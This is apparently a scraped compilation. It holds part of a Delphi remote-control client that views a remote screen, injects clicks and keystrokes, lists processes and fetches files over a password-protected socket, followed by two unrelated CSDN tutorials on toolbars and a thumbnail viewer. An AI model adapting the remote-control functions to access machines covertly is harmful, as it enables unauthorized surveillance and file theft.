FullScreen1: TMenuItem;
procedure FormShow(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ClientSocket1Lookup(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Exit1Click(Sender: TObject);
procedure Connect1Click(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Disconnect1Click(Sender: TObject);
procedure RefreshComplete1Click(Sender: TObject);
procedure UpdateChanges1Click(Sender: TObject);
procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure ResponseTimerTimer(Sender: TObject);
procedure Image1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Image1Click(Sender: TObject);
procedure Image1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Image1DblClick(Sender: TObject);
procedure ClickTimerTimer(Sender: TObject);
procedure PauseChange(Sender: TObject);
procedure SendButClick(Sender: TObject);
procedure SendCRButClick(Sender: TObject);
procedure Log1Click(Sender: TObject);
procedure CommStat1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Shutdown1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FocusServerWindow1Click(Sender: TObject);
procedure ColorClick(Sender: TObject);
procedure CompClick(Sender: TObject);
procedure PriorityClick(Sender: TObject);
procedure ScaleImage1Click(Sender: TObject);
procedure ProcessList1Click(Sender: TObject);
procedure FileList1Click(Sender: TObject);
procedure SendPanelResize(Sender: TObject);
procedure About1Click(Sender: TObject);
procedure StatBarMenuClick(Sender: TObject);
procedure FullScreen1Click(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
protected
NumRec : double;
NumSend : double;
CurMsg : string;
NeedReply : integer;
LastX : integer;
LastY : integer;
t1 : DWORD;
but : integer;
NumClick : integer;
MoveList : TList;
Anim : integer;
LastRec : DWORD;
ServerDelay: integer;
ViewMode : TViewMode;
CompMode : TCompressionLevel;
SvrPriority: integer;
ProcForm : TForm;
FileForm : TForm;
LastCPS : string;
BeforeFull : TRect;
procedure SetStat(i: integer; s: string);
procedure UpdateStats;
procedure SendText(const Text: string);
procedure Log(const s: string);
procedure EnableButs;
procedure ClearMoveList;
procedure AddMove(x, y: integer);
procedure ParseComLine;
procedure StopAnim;
procedure StartAnim;
procedure EnableInput;
procedure WMSysCommand(var Message: TWMSysCommand); message WM_SYSCOMMAND;
function CanSendMenuMsg: boolean;
procedure Send_Current_Settings;
procedure ScaleXY(var X, Y: integer);
procedure UpdateLogVis;
public
procedure SendMsg(MsgNum: integer; const MsgData: string; Socket: TCustomWinSocket);
procedure ProcessMessage(const Msg: string; Socket: TCustomWinSocket);
property Stat[i: integer]: string write SetStat;
end;

var
ClientForm: TClientForm;

implementation

uses ConnectDlg, ProcListDlg, FilesDlg, About, FsTopDlg;

{$R *.DFM}

procedure TClientForm.FormShow(Sender: TObject);
begin
UpdateLogVis;
if not ClientSocket1.Active then
Timer1.Enabled := True;
end;

function IsDotAddress(const s: string): boolean;
var
i : integer;
begin
Result := True;
for i := 1 to Length(s) do
if not (s[i] in ['0'..'9', '.']) then Result := False;
end;

procedure TClientForm.Timer1Timer(Sender: TObject);
var
f : TForm;
begin
Timer1.Enabled := False;

f := Self;
with ClientConnectForm do begin
Left := (f.Left + f.Width div 2) - Width div 2;
Top := (f.Top + f.Height div 2) - Height div 2;

if ShowModal = mrOK then with ClientSocket1 do begin
if IsDotAddress(ServerCombo.Text) then begin
Host := '';
Address := ServerCombo.Text;
end else begin
Address := '';
Host := ServerCombo.Text;
end;
Port := StrToInt(PortEdit.Text);

StartAnim;
Active := True;
end;
end;
end;

procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if BorderStyle<>bsNone then FormSettings1.SaveSettings;
Disconnect1Click(nil);
end;

procedure TClientForm.ClientSocket1Lookup(Sender: TObject;
Socket: TCustomWinSocket);
begin
Stat[0] := ('Looking up: ' + ClientSocket1.Host);
end;

procedure TClientForm.SetStat(i: integer; s: string);
begin
FSTopForm.StatLabel.Caption := s;
StatusBar1.Panels[i].Text := s;
Update;
end;

procedure TClientForm.ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
Stat[0] := ('Connecting: ' + ClientSocket1.Host);
end;

procedure TClientForm.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Log(Format('%-7s %s', ['LogOn', DateTimeToStr(Now)]));

EnableButs;
Stat[0] := ('Connected: ' + Socket.RemoteHost);
Caption := 'Remote Control Client - ' + Socket.RemoteHost;

NumSend := 0;
NumRec := 0;
NeedReply := 0;
StopAnim;
EnableInput;

SendMsg(MSG_LOGON, ClientConnectForm.PassEdit.Text, ClientSocket1.Socket);
Send_Current_Settings;
end;

procedure TClientForm.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Stat[0] := ('Error: ' + IntToStr(ErrorCode));
ErrorCode := 0;

if not Socket.Connected then StopAnim;
end;

procedure TClientForm.Exit1Click(Sender: TObject);
begin
Close;
end;

procedure TClientForm.Connect1Click(Sender: TObject);
begin
Image1.Picture.Bitmap := nil;
Timer1Timer(nil);
end;

procedure TClientForm.SendMsg(MsgNum: integer; const MsgData: string; Socket: TCustomWinSocket);
var
s : string;
begin
Log(Format('%-7s #%2.2d', ['Send', MsgNum]));

Stat[0] := Format('Sending Message (Len = %1.0n)', [Length(MsgData)+0.0]);

s := IntToByteStr(MsgNum) + IntToByteStr(Length(MsgData)) + MsgData;
Socket.SendText(s);
NumSend := NumSend + Length(s);
UpdateStats;

Inc(NeedReply);
StartAnim;
end;

procedure TClientForm.UpdateStats;
begin
// Stat[0] := Format('Sent: %1.0n', [NumSend]);
// Stat[1] := Format('Recv: %1.0n', [NumRec]);
end;

procedure TClientForm.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
s : string;
msg : integer;
len : integer;
PerStr : string;
tdif : double;
cps : string;
begin
// WaitImage.Hint := 'Data Last Received:' + #13#10 + CurTime;
s := Socket.ReceiveText;
NumRec := NumRec + Length(s);
UpdateStats;

if CurMsg = '' then LastRec := GetTickCount;
CurMsg := CurMsg + s;

if Length(CurMsg) >= 8 then begin
Move(CurMsg[1], msg, sizeof(integer));
Move(CurMsg[5], len, sizeof(integer));
PerStr := Format('(%1.0n%%)', [Length(CurMsg) / (len + 8.0) * 100.0]);
tdif := (GetTickCount - LastRec) / 1000.0;
if tdif > 0.5 then cps := Format('%1.0n cps', [Length(CurMsg) / tdif])
else cps := '';
Stat[0] := Format('Received: %1.0n of %1.0n %s %s',
[Length(CurMsg) + 0.0, len + 8.0, PerStr, cps]);
LastCPS := cps;
end else begin
if Length(s) > 0 then
Stat[0] := 'Received: ' + IntToStr(Length(CurMsg));
end;

while IsValidMessage(CurMsg) do begin
s := TrimFirstMsg(CurMsg);
ProcessMessage(s, Socket);
end;
end;

procedure TClientForm.ProcessMessage(const Msg: string; Socket: TCustomWinSocket);
var
MsgNum : integer;
Data : string;
bmp : TBitmap;
R : TRect;
begin
Move(Msg[1], MsgNum, sizeof(integer));
if MsgNum <> MSG_STAT_MSG then
Log(Format('%-7s #%0.2d %6.0n bytes %s', ['Recv', MsgNum, Length(Msg)+0.0, LastCPS]));

Data := Copy(Msg, 9, Length(Msg));

if MsgNum = MSG_STAT_MSG then begin
Stat[0] := Data;
exit;
end;

Dec(NeedReply);
if NeedReply = 0 then begin
StopAnim;
end;

if MsgNum = MSG_LOGON then begin
if Data <> '0' then begin
Stat[0] := 'Log on Successful';
if ClientConnectForm.StartScreenBox.Checked then
SendMsg(MSG_REFRESH, '', ClientSocket1.Socket);
end else begin
Stat[0] := 'Invalid Password!';
MessageDlg('Invalid Password!', mtWarning, [mbOK], 0);
end;
end;

if MsgNum = MSG_REFRESH then begin
Stat[0] := 'Decompressing';
SaveString(Data, 'Temp2.txt');
UnCompressBitmap(Data, Image1.Picture.Bitmap);
Stat[0] := 'Ready';
end;

if MsgNum = MSG_SCREEN_UPDATE then begin
bmp := TBitmap.Create;
Stat[0] := 'Decompressing';
UnCompressBitmap(Data, bmp);
R := Rect(0, 0, bmp.Width, bmp.Height);
with Image1.Picture.Bitmap.Canvas do begin
CopyMode := cmSrcInvert;
CopyRect(R, bmp.Canvas, R);
end;
Stat[0] := 'Ready';
bmp.Free;
end;

if MsgNum = MSG_SEVER_DELAY then begin
Stat[0] := 'Server Delay Set';
end;

if MsgNum = MSG_VIEW_MODE then begin
Stat[0] := 'View Mode Set';
end;

if MsgNum = MSG_COMP_MODE then begin
Stat[0] := 'Compression Mode Set';
end;

if MsgNum = MSG_PRIORITY_MODE then begin
Stat[0] := 'Priority Mode Set';
end;

if MsgNum = MSG_PROCESS_LIST then begin
if ProcForm = nil then
ProcForm := TProcListForm.Create(Self);
(ProcForm as TProcListForm).SetList(Data);
ProcForm.Show;
Stat[0] := 'Received Process List';
end;

if MsgNum = MSG_DRIVE_LIST then begin
if FileForm = nil then
FileForm := TFilesForm.Create(Self);
(FileForm as TFilesForm).SetDriveList(Data);
FileForm.Show;

Stat[0] := 'Received Drive List';
end;

if MsgNum = MSG_DIRECTORY then begin
Assert(FileForm <> nil);
(FileForm as TFilesForm).SetDirData(Data);
FileForm.Show;

Stat[0] := 'Received Directory';
end;

if MsgNum = MSG_FILE then begin
Assert(FileForm <> nil);
Stat[0] := 'Received File';
(FileForm as TFilesForm).SetFileData(Data);
end;

if MsgNum = MSG_REMOTE_LAUNCH then begin
Stat[0] := 'Launched File: ' + Data;
end;
end;

procedure TClientForm.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Log(Format('%-7s %s', ['LogOff', DateTimeToStr(Now)]));
ClientSocket1.Active := False;
EnableButs;
Stat[0] := ('Disconnected: ' + Socket.RemoteHost);
Caption := 'Remote Control Client';
StopAnim;
end;

procedure TClientForm.Disconnect1Click(Sender: TObject);
begin
Stat[0] := 'Disconnecting...';
ClientSocket1.Active := False;
EnableButs;
StopAnim;
end;

procedure TClientForm.RefreshComplete1Click(Sender: TObject);
begin
SendMsg(MSG_REFRESH, '', ClientSocket1.Socket);
end;

procedure TClientForm.UpdateChanges1Click(Sender: TObject);
begin
SendMsg(MSG_SCREEN_UPDATE, '', ClientSocket1.Socket);
end;

procedure TClientForm.Image1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
ScaleXY(X, Y);
LastX := X;
LastY := Y;

AddMove(X, Y);
end;

procedure TClientForm.AddMove(x, y: integer);
var
MoveObj : TMoveObj;
begin
MoveObj := TMoveObj.Create;
MoveObj.X := X;
MoveObj.Y := Y;
MoveObj.Time := GetTickCount;
MoveList.Add(MoveObj);
end;

procedure TClientForm.ResponseTimerTimer(Sender: TObject);
var
bm : TBitmap;
x, y : integer;
begin
WaitImage.Hint := Format('Wait: %3.1n seconds', [(GetTickCount-t1)/1000.0]);

bm := TBitmap.Create;
bm.Width := WaitImage.Width;
bm.Height := WaitImage.Height;

Anim := Anim + 1;
Anim := Anim and 31;
for x := -1 to 1 do
for y := -1 to 1 do
bm.Canvas.Draw(Anim + x*32, Anim + y*32, Application.Icon);

WaitImage.Picture.Assign(bm);
bm.Free;
end;

procedure TClientForm.Image1MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
ScaleXY(X, Y);
but := 1;
if Button = mbRight then but := 2;
ClearMoveList;
AddMove(x, y);
end;

procedure TClientForm.Image1Click(Sender: TObject);
begin
NumClick := 1;
ClickTimer.Enabled := True;
end;

procedure TClientForm.Image1MouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
ScaleXY(X, Y);
if but = 2 then begin
// Only do this for Right Clicks
SendMsg(MSG_CLICK, IntToByteStr(LastX) + IntToByteStr(LastY) +
IntToByteStr(1 {Single}) + IntToByteStr(but), ClientSocket1.Socket);
end;
AddMove(x, y);
end;

procedure TClientForm.Image1DblClick(Sender: TObject);
begin
NumClick := 2;
ClickTimer.Enabled := True;
end;

procedure TClientForm.ClickTimerTimer(Sender: TObject);
var
s : string;
MoveObj : TMoveObj;
i : integer;
begin
ClickTimer.Enabled := False;

if (MoveList.Count < 5) or (NumClick = 2) then begin
// This is a Click or Double-click
SendMsg(MSG_CLICK, IntToByteStr(LastX) + IntToByteStr(LastY) +
IntToByteStr(NumClick) + IntToByteStr(but), ClientSocket1.Socket);
end else begin
// This is a "drag" operation
s := IntToByteStr(but) + IntToByteStr(MoveList.Count);
for i := 0 to MoveList.Count-1 do begin
MoveObj := MoveList[i];
s := s + IntToByteStr(MoveObj.X) + IntToByteStr(MoveObj.Y)
+ IntToByteStr(MoveObj.time);
end;
SendMsg(MSG_DRAG, s, ClientSocket1.Socket);
end;
end;

procedure TClientForm.SendButClick(Sender: TObject);
begin
SendText(SendEdit.Text);
end;

procedure TClientForm.SendCRButClick(Sender: TObject);
begin
SendText(SendEdit.Text + #13);
end;

procedure TClientForm.SendText(const Text: string);
begin
SendMsg(MSG_KEYS, Text, ClientSocket1.Socket);
end;

procedure TClientForm.Log1Click(Sender: TObject);
begin
Log1.Checked := not Log1.Checked;

UpdateLogVis;
end;

procedure TClientForm.UpdateLogVis;
begin
LogList.Visible := Log1.Checked;
Splitter1.Visible := Log1.Checked;

if Log1.Checked then
LogList.Left := Splitter1.Left - 1;
end;

procedure TClientForm.Log(const s: string);
begin
LogList.ItemIndex := LogList.Items.Add(s);
end;

procedure TClientForm.CommStat1Click(Sender: TObject);
begin
CommStat1.Checked := not CommStat1.Checked;
StatPanel.Visible := CommStat1.Checked;
end;

procedure TClientForm.EnableButs;
var
b : boolean;
begin
b := ClientSocket1.Active;
Connect1.Enabled := not b;
Disconnect1.Enabled := b;
end;

procedure TClientForm.FormCreate(Sender: TObject);
begin
EnableButs;
MoveList := TList.Create;
ParseComLine;
StopAnim;
EnableInput;

ServerDelay := DEFAULT_SERVER_DELAY;
ViewMode := DEFAULT_VIEW_MODE;
CompMode := DEFAULT_COMP_MODE;
SvrPriority := DEFAULT_SVR_PRIORITY;
end;

procedure TClientForm.Shutdown1Click(Sender: TObject);
begin
Close;
Application.MainForm.Close;
end;

procedure TClientForm.FormDestroy(Sender: TObject);
begin
ClearMoveList;
MoveList.Free;
end;

procedure TClientForm.ClearMoveList;
var
i : integer;
begin
for i := 0 to MoveList.Count-1 do
TObject(MoveList[i]).Free;
MoveList.Clear;
end;

procedure TClientForm.FocusServerWindow1Click(Sender: TObject);
begin
SendMsg(MSG_FOCUS_SERVER, '', ClientSocket1.Socket);
end;

procedure TClientForm.ParseComLine;
var
i : integer;
s : string;
begin
for i := 1 to ParamCount do begin
s := UpperCase(ParamStr(i));

if s = '/CLIENT' then begin
Visible := True;
end;
end;
end;

procedure TClientForm.EnableInput;
var
b : boolean;
begin
b := (NeedReply = 0) and ClientSocket1.Active;

SendBut.Enabled := b;
SendCRBut.Enabled := b;
Image1.Enabled := b;
Special1.Enabled := b;
// Options1.Enabled := b;
end;

procedure TClientForm.StopAnim;
var
bmp : TBitmap;
begin
Screen.Cursor := crDefault;
ResponseTimer.Enabled := False;
// Stat[2] := 'Not Waiting';

bmp := TBitmap.Create;
bmp.Width := WaitImage.Width;
bmp.Height := WaitImage.Height;
bmp.Canvas.Draw(2, 2, Application.Icon);
WaitImage.Picture.Assign(bmp);
bmp.Free;

EnableInput;
end;

procedure TClientForm.StartAnim;
begin
Anim := 2;
ResponseTimer.Enabled := True;
// Stat[2] := 'Waiting';
t1 := GetTickCount;
Screen.Cursor := crAppStart;
EnableInput;
end;

procedure TClientForm.WMSysCommand(var Message: TWMSysCommand);
begin
if (Message.CmdType and $FFF0 = SC_MINIMIZE) then
Application.Minimize
else
inherited;
end;

function TClientForm.CanSendMenuMsg: boolean;
begin
Result := ClientSocket1.Active;
end;

procedure TClientForm.PauseChange(Sender: TObject);
var
d : integer;
begin
d := 0;
(Sender as TMenuItem).Checked := True;

if Sender = N005sec1 then d := 50;
if Sender = N010sec1 then d := 100;
if Sender = N050sec1 then d := 500;
if Sender = N100sec1 then d := 1000;
if Sender = N200sec1 then d := 2000;
if Sender = N500sec1 then d := 5000;
ServerDelay := d;

if CanSendMenuMsg then
SendMsg(MSG_SEVER_DELAY, IntToByteStr(d), ClientSocket1.Socket);
end;

procedure TClientForm.ColorClick(Sender: TObject);
var
vm : TViewMode;
x : integer;
begin
(Sender as TMenuItem).Checked := True;

vm := vmDefault;
if Sender = Color4 then vm := vmColor4;
if Sender = Gray4 then vm := vmGray4;
if Sender = Gray8 then vm := vmGray8;
if Sender = Color24 then vm := vmColor24;
if Sender = Default1 then vm := vmDefault;
ViewMode := vm;

if CanSendMenuMsg then begin
x := integer(vm);
SendMsg(MSG_VIEW_MODE, IntToByteStr(x), ClientSocket1.Socket);
SendMsg(MSG_REFRESH, '', ClientSocket1.Socket);
end;
end;

procedure TClientForm.CompClick(Sender: TObject);
var
cm : TCompressionLevel;
begin
(Sender as TMenuItem).Checked := True;

cm := clDefault;

if Sender = HighSlow1 then cm := clMax;
if Sender = Medium1 then cm := clDefault;
if Sender = LowFast1 then cm := clFastest;
CompMode := cm;

if CanSendMenuMsg then
SendMsg(MSG_COMP_MODE, IntToByteStr(integer(cm)), ClientSocket1.Socket);
end;

procedure TClientForm.PriorityClick(Sender: TObject);
var
x : integer;
begin
(Sender as TMenuItem).Checked := True;

x := THREAD_PRIORITY_NORMAL;

if Sender = Critical1 then x := THREAD_PRIORITY_TIME_CRITICAL;
if Sender = Highest1 then x := THREAD_PRIORITY_HIGHEST;
if Sender = AboveNormal1 then x := THREAD_PRIORITY_ABOVE_NORMAL;
if Sender = Normal1 then x := THREAD_PRIORITY_NORMAL;
if Sender = BelowNormal1 then x := THREAD_PRIORITY_BELOW_NORMAL;
if Sender = Lowest1 then x := THREAD_PRIORITY_LOWEST;
if Sender = Idle1 then x := THREAD_PRIORITY_IDLE;
SvrPriority := x;

if CanSendMenuMsg then
SendMsg(MSG_PRIORITY_MODE, IntToByteStr(x), ClientSocket1.Socket);
end;

procedure TClientForm.Send_Current_Settings;
begin
SendMsg(MSG_SEVER_DELAY, IntToByteStr(ServerDelay), ClientSocket1.Socket);
SendMsg(MSG_VIEW_MODE, IntToByteStr(integer(ViewMode)), ClientSocket1.Socket);
SendMsg(MSG_COMP_MODE, IntToByteStr(integer(CompMode)), ClientSocket1.Socket);
SendMsg(MSG_PRIORITY_MODE, IntToByteStr(SvrPriority), ClientSocket1.Socket);
end;

procedure TClientForm.ScaleImage1Click(Sender: TObject);
begin
ScaleImage1.Checked := not ScaleImage1.Checked;

if ScaleImage1.Checked then begin
Image1.AutoSize := False;
Image1.Stretch := True;
Image1.Align := alClient;
end else begin
Image1.AutoSize := True;
Image1.Stretch := False;
Image1.Align := alNone;
Image1.Picture.Assign(Image1.Picture.Graphic); // To trigger the Autosize property
end;
end;

procedure TClientForm.ScaleXY(var X, Y: integer);
begin
if not ScaleImage1.Checked then exit;

with Image1 do begin
X := X * Picture.Width div Width;
Y := Y * Picture.Height div Height;
end;
end;

procedure TClientForm.ProcessList1Click(Sender: TObject);
begin
SendMsg(MSG_PROCESS_LIST, '', ClientSocket1.Socket);
end;

procedure TClientForm.FileList1Click(Sender: TObject);
begin
SendMsg(MSG_DRIVE_LIST, '', ClientSocket1.Socket);
end;

procedure TClientForm.SendPanelResize(Sender: TObject);
begin
SendEdit.Width := SendPanel.ClientWidth - 8;
end;

procedure TClientForm.About1Click(Sender: TObject);
begin
AboutBox.ShowModal;
end;

procedure TClientForm.StatBarMenuClick(Sender: TObject);
begin
StatBarMenu.Checked := not StatBarMenu.Checked;

StatusBar1.Visible := StatBarMenu.Checked;
end;

procedure TClientForm.FullScreen1Click(Sender: TObject);
begin
if BorderStyle = bsSizeable then begin
BeforeFull := BoundsRect;
Menu := nil;
Left := 0;
Top := 0;
Width := Screen.Width;
Height := Screen.Height;
BorderStyle := bsNone;
StatPanel.Visible := False;
StatusBar1.Visible := False;
ScrollBox1.BorderStyle := bsNone;
FSTopForm.Show;
end else begin
BoundsRect := BeforeFull;
Menu := MainMenu1;
BorderStyle := bsSizeable;
StatPanel.Visible := True;
StatusBar1.Visible := True;
ScrollBox1.BorderStyle := bsSingle;
FSTopForm.Hide;
end;
end;

procedure TClientForm.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
// If in Full-Screen mode, do an extra check for Hot-Keys on the popup menu
if BorderStyle = bsNone then begin
FSTopForm.CheckShortCut(Key, Shift);
end;
end;

end.


CSDN_文档中心_用Delphi实现风Word97风格的工具栏

在Delphi的元件选项板Additional页中，新增了Controlbar元件，此元件和Win32页中的Toolbar、Coolbar配合使用，再辅以Imagelist、Mainmenu等元件，完全可以实现具有Word97风格的工具栏。下面以一个FORM中的工具栏为例，详细介绍设计步骤：
1从Additional页中选择Controlbar，将其放入FORM1中，设置其属性如下：Allign:=altopAutosize:=trueBevelkind:=bknone
2从Win32页中选择Toolbar，将其放于Controlbar上，调整Toolbar的位置，使其置于最左，再调整其宽度，设置属性Edgeborders:=[]，Flat:=TRUE。用鼠标右击Toolbar，在浮动菜单上选择Newbutton，重复若干次，设计好所需的按钮。
3从Win32页中选择Imagelist元件，为FORM1设计主菜单，主菜单的设计方法同Delphi2、Delphi3。设计好主菜单后，将其属性Automerge置为TRUE。
4最后为每一个按钮分配Tmenuitem的Name值，将每个按钮的Menuitem属性值设为所需菜单的Name值。
按F9运行程序，便可发现，设计出的工具栏已经具有Word97的风格，用鼠标在各个按钮上移动，按钮自动上浮，单击鼠标，弹出相应的菜单。需要说明的是，Mainmenu的属性Automerge置为TRUE，是为了不让主菜单出现在FORM1的最上端。工具栏的设计必须将Controlbar与Toolbar结合使用，不然得不到与Word97外观一样的工具栏。


CSDN_文档中心_用Delphi实现缩略图查看

本来想投个杂志什么的，现在想来也没那个必要了。

用Delphi实现缩略图查看

作者:姜亮

缩略图英文也叫Thumbnails,是现在的看图软件必备的基本功能之一,像ACDSee,豪杰大眼睛等图片浏览软件都提供了此功能.其实利用Delphi6.0提供的ListView和ImageList控件就可以很方便地实现该功能.下面我们就一步一步打造一个属于自己的ACDSee.

一.编程思路

ListView能够以四种不同的方式显示数据,其中当以vsIcon方式显示数据时,其图标来自于largeIcon属性指定的ImageList控件.因此,只要我们把图片缩放后动态加载到ImageList控件中,就能够以缩略图方式在ListView中显示了.需要注意的是,加载到ImageList中的图片大小尺寸必须相等;而且,为了避免图片缩放后变形,我们应该尽可能保证图片的长宽比例保持不变.我一直用"缩放"一词,这是因为对于大图片我们要缩小它,而对于小图片我们则要放大它.ACDSee就是这样做的.最后还有一个小小的问题,我们如何实现ACDSee中那些具有立体感的类似于panel的边框呢?你也许会说动态生成panel控件!这实在不是个好主意.因为那将占用大量的系统资源.我感觉 ACDSee的那些panel不是真正的panel,而是被画上去的,所以我们要自己画panel．你也许会想自己画panel很麻烦吧，开始我也这样想，但当我把这个问题搞定后，发现它简直就是一块小蛋糕．^-^　随便把一个有panel的窗体抓下来，然后在画图软件里放大８倍后观察，你就什么都明白了．其实，一个panel就是由四条线段组成的（如图一所示）。所有的问题都解决了，那就赶快动手吧！

(图一)

二.设计界面

新建一工程，执行以下步骤：

1。在窗体上添加一个ScrollBox1控件，设置其Align属性为alLeft。

2。在窗体上添加一个Splitter1控件，设置其width为3，Align属性为alLeft。

3。在窗体上添加一个ListView1控件，设置其Align属性为alClient,color属性为clBtnFace。

4。在ScrollBox1里添加一个ShellTreeView1控件（该控件在Samples页面上），设置其Align属性为alTop。

5。在ScrollBox1里添加一个Splitter2控件，设置其Height为3，Align属性为alTop。

6。在ScrollBox1里添加一个panel1控件，设置其Align属性为alClient。

7。在panel1上添加一个Image1控件。

完成后的界面请参考图二。

图二

三. 编写代码

界面做好了，下面就该写代码了。

1。单元的接口部分主要代码如下：

unit Unit1;

interface

uses
...jpeg...

type
TForm1 = class(TForm)
......

private
ProgressBar1:TProgressBar;
OriginalBmp,ThumbBmp:Tbitmap;
PreViewBmp:Tbitmap;
ThumbJpg:TJpegImage;
PreViewJpg:TJpegImage;
IsRefreshImageFinished:boolean;
{ Private declarations }
public
procedure RefreshImage;
procedure ShowPreImageFit(const ImageFileName:string);
{ Public declarations }
end;

type
TImageFileList=class
private
FStrListFile:TStringList;
FIndex:integer;
{ Private declarations }
public
//添加一个文件
 procedure Add(FullFileName:string);

//清空文件列表
 procedure Clear;

//当目录改变时，调用此过程会把该目录下所有图片文件
 //添加到文件列表中
 procedure ChangeDir(dir:string);

//返回文件数目
 function GetFileCount:integer;

//设置索引
 procedure SetIndex(AIndex:integer);

//返回文件索引
 function GetIndex:integer;

//返回当前完整文件名
 function GetCurFullFileName:string;

//返回当前文件名
 function GetCurFileName:string;

//返回下一个文件的文件名
 function GetNextFileName:string;

//返回上一个文件的文件名
 function GetPreFileName:string;

constructor Create;
destructor Destroy;override;
{ Public declarations }
end;

procedure JpgToBmp(const JpgFileName:string;AJpg:TJpegImage;Abmp:Tbitmap);
function IsJpgFile(const FileName:string):boolean;

const
RaisedPanel=1;
LoweredPanel=2;

var
Form1: TForm1;
ImageFileList:TImageFileList;
implementation
.....

2. TImageFileList类具体实现如下：

procedure TImageFileList.Add(FullFileName: string);
begin
FStrListFile.Add(FullFileName);
end;

procedure TImageFileList.ChangeDir(dir: string);
var
SearchRec : TSearchRec;
Attr : integer;
Found : integer;
ExtFileName:string;
temstr:string;

begin
clear;
temstr:=dir+'\*.*';
Attr := faAnyFile;
Found := FindFirst(temstr, Attr, SearchRec);
while Found = 0 do
begin
ExtFileName:=LowerCase(ExtractFileExt(SearchRec.Name));
if (ExtFileName='.bmp') or (ExtFileName='.jpg') or ((ExtFileName='.jpeg')) then
Add(dir+'\'+SearchRec.Name);

Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;

procedure TImageFileList.Clear;
begin
FStrListFile.Clear;
Findex:=-1;
end;

constructor TImageFileList.Create;
begin
FStrListFile:=TStringList.Create;
Findex:=-1;
end;

destructor TImageFileList.Destroy;
begin
FStrListFile.Free;
inherited;
end;

function TImageFileList.GetCurFileName: string;
begin
result:=ExtractFileName(FStrListFile.Strings[Findex]);
end;

function TImageFileList.GetCurFullFileName: string;
begin
result:=FStrListFile.Strings[Findex];
end;

function TImageFileList.GetFileCount: integer;
begin
result:=FStrListFile.Count;
end;

function TImageFileList.GetIndex: integer;
begin
result:=FIndex;
end;

function TImageFileList.GetNextFileName: string;
begin
if Findex=FStrListFile.Count-1 then
Findex:=0
else
inc(Findex);

result:=FStrListFile.Strings[Findex];
end;

function TImageFileList.GetPreFileName: string;
begin
if Findex=0 then
Findex:=FStrListFile.Count-1
else
dec(Findex);

result:=FStrListFile.Strings[Findex];
end;

procedure TImageFileList.SetIndex(AIndex: integer);
begin
FIndex:=AIndex;
end;

3. 过程JpgToBmp及函数IsJpgFile的代码如下所示：

//转换jpg到bmp

procedure JpgToBmp(const JpgFileName:string;AJpg:TJpegImage;Abmp:Tbitmap);
begin
try
AJpg.LoadFromFile(JpgFileName);
Abmp.Assign(AJpg);
finally
end;
end;

//仅从扩展名上来判断是否是jpg格式的文件
function IsJpgFile(const FileName:string):boolean;
begin
result:=(LowerCase( ExtractFileExt(FileName))='.jpg') or (LowerCase( ExtractFileExt(FileName))='.jpeg');
end;

4. 我们在窗体的OnCreate和OnDestroy事件处理句柄里添加如下代码：

procedure TForm1.FormCreate(Sender: TObject);
begin
//设置图标间距，也即缩略图间距
 ListView_SetIconSpacing(listview1.handle,90,120);

OriginalBmp:=Tbitmap.Create;
ThumbJpg:=TJpegImage.Create;

PreViewBmp:=Tbitmap.Create;
PreViewJpg:=TJpegImage.Create;

ThumbBmp:=TBitmap.Create;
//缩略图的边框为：80*80，显示图片大小为：64*64
 ThumbBmp.Height:=80;
ThumbBmp.Width:=80;
ThumbBmp.PixelFormat:=pf24bit;
imagelist1.Height:=80;
imagelist1.Width:=80;
listview1.LargeImages:=imagelist1;
listview1.ViewStyle:=vsicon;

ImageFileList:=TImageFileList.Create;
ImageFileList.Clear;

ProgressBar1:=TProgressBar.Create(self);
ProgressBar1.Parent:=StatusBar1;
ProgressBar1.Visible:=false;
ProgressBar1.Width:=200;
ProgressBar1.Height:=StatusBar1.Height-4;
ProgressBar1.Left:=StatusBar1.Width-ProgressBar1.Width;
ProgressBar1.Top:=2;

IsRefreshImageFinished:=true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
OriginalBmp.Free;
ThumbBmp.Free;
ImageFileList.Free;
ThumbJpg.Free;
PreViewBmp.Free;
PreViewJpg.Free;
ProgressBar1.Free;
end;

5. 在ShellTreeView1的OnChange事件里添加下面代码：

procedure TForm1.ShellTreeView1Change(Sender: TObject; Node: TTreeNode);
var
dir:string;
begin
//如果上次的RefreshImage过程还没有结束，就退出
 if not IsRefreshImageFinished then exit;
dir:=ShellTreeView1.Path;
//edit1.Text:=dir;

if not (DirectoryExists(dir)) then exit;

//如果是c:\ d:\之类则转换为c: d:
 if dir[length(dir)]='\' then
delete(dir,length(dir),1);

ImageFileList.ChangeDir(dir);

screen.Cursor:=crHourGlass;

self.Enabled:=false;
RefreshImage;
self.Enabled:=true;
screen.Cursor:=crDefault;
